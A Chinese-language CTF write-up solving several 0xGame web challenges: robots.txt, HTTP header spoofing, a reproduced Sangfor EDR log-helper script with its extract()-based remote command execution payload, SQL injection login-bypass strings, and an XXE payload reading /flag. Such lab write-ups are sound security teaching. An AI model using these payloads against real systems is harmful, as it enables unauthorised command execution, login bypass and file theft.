by:gyy

robots协议

考察robots协议

题目地址:http://web.game.0xctf.com:30051/

知识链接:

robots是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

直接访问./robots.php

User-agent: *
Allow: /
User-agent: CTFer
Disallow: /flaaaggg.php

最终

访问/flaaaggg.php即可

问题解决:0xGame{now_you_k0nw_robots_Protocol}

view_source

考察会不会看源码

最终

f12看源码就行

问题解决:0xGame{web_sign_in}

get&post

考察get与post的应用

打开直接给代码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['0xGame']) && isset($_POST['X1cT34m'])){
    $a = $_GET['0xGame'];
    $b = $_POST['X1cT34m'];
    $c = 'acd666tql';
    if($a === $c && $b === $c){
        echo $flag;
    }
}else{
    die("Do you konw GET & POST ?");
}

代码审计,get传参,post传参即可

最终

payload:./?0xGame=acd666tql
post:X1cT34m=acd666tql

问题解决:0xGame{Get_4nd_P0sT_1s_eA5y}

wh1sper’s_secret_garden

考察http协议

题目地址:http://web.game.0xctf.com:30050/

打开发现:

你需要使用wh1sper浏览器来访问
什么?没有?
没有wh1sper浏览器还想打web?

抓包改包,浏览器改成wh1sper

GET / HTTP/1.1
Host: web.game.0xctf.com:30050
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) wh1sper/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

然后发现

你需要来自:https://ctf.njupt.edu.cn/

伪造地址三种方式:

Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1
Referer: 127.0.0.1

这里Referer: https://ctf.njupt.edu.cn/

再发包,发现

你得从本地访问才行哟!

改包,加上X-Forwarded-For: 127.0.0.1

最终

发包:

GET / HTTP/1.1
Host: web.game.0xctf.com:30050
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Referer: https://ctf.njupt.edu.cn/
X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) wh1sper/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

问题解决:0xGame{宁就是接头霸王?}

readflag

考察linux指令

题目地址:http://web.game.0xctf.com:30054/

进去看到请输入linux指令

最终

直接cat /flag

问题解决:0xGame{fl4g_1s_c0ntent}

edr

考察edr和搜索引擎

题目地址:http://web1.game.0xctf.com:40000/

深信服edr的漏洞

这里有一篇介绍:https://www.weixiuzhan.cn/news/show-21463.html

源码在这

<?php
/**

 * c.php
 * 查看ldb的日志
 * 支持正则表达式过滤,可以过滤文件以及每行日志
   */

call_user_func(function() {
    /**

   * 编解码
      @param string $data 编解码数据
        * @return string 返回编解码数据
          /
              $code = function($data) {
          for ($i = 0; $i < strlen($data); ++$i) {
              $data[$i] = $data[$i] ^ 'G';
          }
          return $data;
              };
/**
 * 加密请求
 * @param string $site  站点
 * @param string $query 请求串
 * @return string 返回请求URL
 */
$request = function($site, $query) use(&$code) {
    $path = base64_encode($code($query));
    return "$site/$path";
};

/**
 * 解密回复
 * @param string $data 回复数据
 * @return array 返回回复数据
 */
$response = function($data) use(&$code) {
    $ret = json_decode($data, true);
    if (is_null($ret)) {
        $dec = $code(base64_decode($data));
        $ret = json_decode($dec, true);
    }
    return $ret;
};

/**
 * 找到匹配的日志
 * @param string $path 文件路径匹配
 * @param string $item 日志项匹配
 * @param string $topn TOP N 
 * @param string $host 主机
 * @return array 返回匹配结果
 */
$collect = function($path, $item, $topn, $host) use(&$request, &$response) {
    $path   = urlencode($path);
    $item   = urlencode($item);
    $result = file_get_contents($request("http://127.0.0.1:8089", "op=ll&host=$host&path=$path&item=$item&top=$topn"));
    return $response($result);
};

/**
 * 显示某个表单域
 * @param array $info 表单域信息, array("name" => "xx", "value" => "xxx", "note" => "help");
 * @return
 */
$show_input = function($info) {
    extract($info);
    $value = htmlentities($value);
    echo "<p><font size=2>$title: </font><input type=\"text\" size=30 id=\"$name\" name=\"$name\" value=\"$value\"><font size=2>$note</font></p>";
};

/**
 * 去掉反斜杠
 * @param string $var 值
 * @return string 返回去掉反斜杠的值
 */
$strip_slashes = function($var) {
    if (!get_magic_quotes_gpc()) {
        return $var;
    }
    return stripslashes($var);
};

/**
 * 显示表单
 * @param array $params 请求参数
 * @return
 */
$show_form = function($params) use(&$strip_slashes, &$show_input) {
    extract($params);
    $host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";
    $path  = isset($path)  ? $strip_slashes($path)  : "";
    $row   = isset($row)   ? $strip_slashes($row)   : "";
    $limit = isset($limit) ? $strip_slashes($limit) : 1000;
    
    // 绘制表单
    echo "<pre>";
    echo '<form id="studio" name="studio" method="post" action="">';
    $show_input(array("title" => "Host ",  "name" => "host",  "value" => $host,  "note" => " - host, e.g. 127.0.0.1"));
    $show_input(array("title" => "Path ",  "name" => "path",  "value" => $path,  "note" => " - path regex, e.g. mapreduce"));
    $show_input(array("title" => "Row  ",  "name" => "row",   "value" => $row,   "note" => " - row regex, e.g. \s[w|e]\s"));
    $show_input(array("title" => "Limit",  "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100"));
    echo '<input type="submit" id="button">';
    echo '</form>';
    echo "</pre>";
};

/**
 * 入口函数
 * @param array $argv 配置参数
 * @return
 */
$main = function($argv) 
    use(&$collect) {
    extract($argv);
    if (!isset($limit)) {
        return;
    }
    $result = $collect($path, $row, $limit, $host);
    if (!is_array($result)) {
        echo $result, "\n";
        return;
    }
    if (!isset($result["success"]) || $result["success"] !== true) {
        echo $result, "\n";
        return;
    }
    foreach ($result["data"] as $host => $items) {
        $last = "";
        foreach ($items as $item) {
            if ($item["name"] != $last) {
                $last = $item["name"];
                echo "\n[$host] -> $last\n\n";
            }
            echo $item["item"], "\n";
        }
    }
};

set_time_limit(0);
echo '<html><head><meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"></head>';
echo '<body bgcolor="#e8ddcb">';
echo "<p><b>Log Helper</b></p>";
$show_form($_REQUEST);
echo "<pre>";
$main($_REQUEST);
echo "</pre>";
});

?>

可以任意文件读取下载

最终

payload:./?strip_slashes=system&host=cat /flag

问题解决:0xGame{S4n9f0r_3dR_c4N_Rce_reC3n7_D4y}

just_login

burp爆破

题目地址:http://web.game.0xctf.com:30055/

dirsearch扫不到东西

sqlmap跑一下没用

不知道干啥,直接burp抓包用户名爆破
真爆出来了

最终

payload:
' or 0=0 #
' or 1=1 or ''='
x' or 1=1 or 'x'='y

问题解决:0xGame{e5sy_sql_1njeCtion}

close_eyes

注入

题目地址:http://web.game.0xctf.com:30052/

inject_me

XXE显式攻击

题目地址:http://web.game.0xctf.com:30061/

最终

payload:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>admin</password></user>

问题解决:0xGame{V2ry_simple_XXE}